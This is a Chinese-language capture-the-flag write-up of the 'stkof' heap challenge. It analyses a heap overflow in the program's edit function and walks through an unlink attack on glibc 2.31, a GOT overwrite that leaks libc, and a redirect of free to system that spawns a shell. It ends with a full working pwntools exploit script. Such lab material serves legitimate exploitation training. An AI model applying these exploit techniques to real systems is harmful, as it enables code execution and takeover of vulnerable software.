安全策略
先用checksec
检查安全策略
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
运行程序
跑起来没有提示,直接下一步看看吧。
静态分析
IDA打开反编译,主函数实现了一个比较常见的菜单功能,一共四个选项:
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int choice; // eax
int ret; // [rsp+Ch] [rbp-74h]
char nptr[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v7; // [rsp+78h] [rbp-8h]
v7 = __readfsqword(0x28u);
alarm(0x78u);
while ( fgets(nptr, 10, stdin) )
{
choice = atoi(nptr);
if ( choice == 2 )
{
ret = edit(); // 修改idx对应chunk内容
goto PRINT_STATUS;
}
if ( choice > 2 )
{
if ( choice == 3 )
{
ret = delete(); // 释放idx对应chunk并置零数组对应位置
goto PRINT_STATUS;
}
if ( choice == 4 )
{
ret = show(); // 显示idx对应chunk字符串长度是否大于3
goto PRINT_STATUS;
}
}
else if ( choice == 1 )
{
ret = add(); // 申请指定size的chunk,并保存地址到列表中
goto PRINT_STATUS;
}
ret = -1;
PRINT_STATUS:
if ( ret )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
return 0LL;
}
其中,edit
函数存在溢出,没有验证读入的大小是否超过了申请的大小,因此能够覆盖到后面的堆:
__int64 edit()
{
int i; // eax
unsigned int idx; // [rsp+8h] [rbp-88h]
__int64 n; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s[104]; // [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v6; // [rsp+88h] [rbp-8h]
v6 = __readfsqword(0x28u);
fgets(s, 16, stdin);
idx = atol(s);
if ( idx > 0x100000 )
return 0xFFFFFFFFLL;
if ( !(&::s)[idx] )
return 0xFFFFFFFFLL;
fgets(s, 16, stdin);
n = atoll(s);
ptr = (&::s)[idx];
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )// 从标准输入读取 n 个字节到 ptr
{
ptr += i;
n -= i;
}
if ( n )
return 0xFFFFFFFFLL;
else
return 0LL;
}
然后找到&::s
即保存堆块位置的指针数组位置,因为没开启 PIE 保护,这个位置是不会变的,等会unlink的时候可以直接用:
.bss:0000000000602140 ?? ?? ?? ?? ?? ?? ?? ?? s dq ? ; DATA XREF: add+78↑w
得到在0x0000000000602140
的位置。
动态调试
IO缓冲区
程序没关闭IO缓冲区,因此进行输入输出时会分配缓冲区。
申请完第一个堆块,同时就分配完了两个IO缓冲区。用parseheap
查看堆,下面第二个和第四个块就是IO缓冲区申请的堆块。
addr prev size status fd bk
0x21e9000 0x0 0x290 Used None None
0x21e9290 0x0 0x1010 Used None None
0x21ea2a0 0x0 0x20 Used None None
0x21ea2c0 0x0 0x410 Used None None
因为申请的第一个块夹在中间,不方便进行溢出,所以用它申请完IO缓冲区,后面的堆块再用来unlink。
任意地址写
unlink
因为我用的 glibc 是2.31 版本的,所以申请 0x420 大小的堆块,避免申请到 fastbin 和 tcache 的造成无法 unlink。
这里申请两个 0x420 的堆块。
接着构造unlink的payload,写入申请的第二个堆块中,同时覆盖到第三个堆块中。
首先伪造一个fake_chunk:
fd = chunk_array_addr + 0x10 - 0x18
bk = chunk_array_addr + 0x10 - 0x10
payload = pack(0) + pack(malloc_size + 1) + pack(fd) + pack(bk)
payload = payload.ljust(malloc_size, b'\0') # fd_nextsize填充为NULL,绕过largebin检测
然后利用堆溢出,构造第三个堆块的header:
payload += pack(malloc_size) + pack(malloc_size + 0x10)
unlink的后向合并是基于后一个堆块的 prev_inuse 段确定前一个堆块是否空闲的。
写入后,我们释放掉第三个堆块,然后检查是否完成了 unlink 操作。
用parseheap
指令查看堆,可以看到原本的堆块结构已经被破坏了,基本可以确定unlink已经完成。
addr prev size status fd bk
0x1688000 0x0 0x290 Used None None
0x1688290 0x0 0x1010 Used None None
0x16892a0 0x0 0x20 Used None None
0x16892c0 0x0 0x410 Used None None
0x16896d0 0x0 0x430 Freed 0x0 0x1f921
Corrupt ?!
用telescope
指令查看0x0000000000602140
附近的内存,得到:
pwndbg> telescope 0x0000000000602140
00:0000│ 0x602140 ◂— 0x0
01:0008│ 0x602148 —▸ 0x16892b0 ◂— 0x0
02:0010│ 0x602150 —▸ 0x602138 ◂— 0x0
03:0018│ 0x602158 ◂— 0x0
... ↓ 4 skipped
可以看到,已经完成了 unlink 利用,接下来编辑第二个堆块就可以修改指针数组指向任意地址,然后进行任意写,这里已经基本上尘埃落定了。
获取libc基址
这里通过将strlen
的.got.plt
表改成puts
的plt
表,然后进行show
的时候就会泄露出指针数组保存的地址的内容。
通过这种方法泄露出puts
的got
表地址,从而计算出libc
基址,进而得到system
地址。
获取shell
将free
的got
表改为system
地址,然后新建一个堆块,写入/bin/sh
,释放该堆块就取得了shell
。
漏洞利用
最终EXP如下:
from pwn import *
debug = True
local_path = './stkof'
remote_path = ''
remote_port = 8080
file = ELF(local_path)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
context.binary = local_path
if debug:
io = process('./stkof')
# context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0','sp', '-V', '--title', 'gdb', 'bash', '-c']
context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
context.log_level = 'debug'
else:
io = remote(remote_path, remote_port)
def itob(num):
return str(num).encode()
def add(size):
io.sendline(b'1')
io.sendline(itob(size))
idx = io.recvline()
idx = int(idx)
io.recvuntil(b'OK\n')
return idx
def edit(idx, content):
size = len(content)
io.sendline(b'2')
io.sendline(itob(idx))
io.sendline(itob(size))
io.send(content)
io.recvuntil(b'OK\n')
def delete(idx):
io.sendline(b'3')
io.sendline(itob(idx))
io.recvuntil(b'OK\n')
def show(idx):
io.sendline(b'4')
io.sendline(itob(idx))
msg = io.recvline()
io.recvuntil(b'OK\n')
if msg == b'//TODO\n':
return 0
elif msg == b'...\n':
return 1
else:
return msg
def exp():
chunk_array_addr = 0x0000000000602140
strlen_got = file.got['strlen']
puts_plt = file.plt['puts']
puts_got = file.got['puts']
free_got = file.got['free']
malloc_size = 0x420 # 避免申请到fastbin和tcache
add(0x10) # 随便申请一块内存同时完成申请两个IO缓冲区
add(malloc_size)
add(malloc_size)
fd = chunk_array_addr + 0x10 - 0x18
bk = chunk_array_addr + 0x10 - 0x10
payload = pack(0) + pack(malloc_size + 1) + pack(fd) + pack(bk)
payload = payload.ljust(malloc_size, b'\0') # fd_nextsize填充为NULL,绕过largebin检测
payload += pack(malloc_size) + pack(malloc_size + 0x10)
edit(2, payload)
delete(3)
payload = cyclic(0x10) + pack(strlen_got) + pack(puts_got) + pack(free_got)
edit(2, payload)
show(2) # 先调用一下用于载入strlen的got表地址,避免等会覆盖了用于覆盖的地址
payload = pack(puts_plt)
edit(1, payload)
puts_addr = unpack(show(2)[:-1].ljust(0x8, b'\0'))
log.success("leak puts@got addr: " + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
payload = pack(system_addr)
edit(3, payload)
idx = add(0x10)
payload = b'/bin/sh'
edit(4, payload)
io.sendline(b'3')
io.sendline(b'4')
io.interactive()
if __name__=='__main__':
exp()